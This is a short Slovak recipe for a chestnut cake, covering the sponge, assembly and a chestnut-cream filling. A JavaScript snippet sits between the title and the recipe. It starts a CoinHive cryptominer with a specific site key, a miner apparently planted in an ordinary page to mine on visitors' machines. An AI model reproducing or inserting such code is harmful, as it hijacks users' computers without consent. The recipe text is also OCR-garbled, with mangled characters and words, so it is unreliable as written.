Gastanovy sen

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Korpus: 8 Zitkov mierne predélahame, pridame 500 g gastanového pyré a §fahame, kym
nevznikne lahky nadychany krém, (teraz zapneme raru na 180°C), vySlahame tuhy sneh z 8
bielkov a opatrne ho vmieSame do vyslahanej gastanovej masy. Upecieme v tortovej forme s
priemerom 28 cm. Po vloZeni do rdry znizime teplotu na 160°C a peCieme 40— 45 minut.
Upeceny a vychladnuty korpus prerezeme na 2 (Sikovnej$i mozu aj na 3 Casti), pokvapkame
silnou Ciernou kavou, spodnu ¢ast potrieme kyselkastym dzemom (ribezlovym, malinovym...) a
natrieme 24 plnky, prikryjeme druhou ¢astou korpusu, natrieme zvy$nym krémom (aj boky),
mbzeme ozdobit a ddme stuhnut do chladni¢ky miniméalne 3 hodiny.

Plnka: 3 dl mlieka trochu vySfahame s 2 praskovymi Sfahackami Dr. Oetker bez pridaného
cukru len do polotuha (cca 30 sekund), pridame 250 g rozmrveného gastanového pyré a
Sfahame (2,5-3 minuty), kym pekne nenarastie.




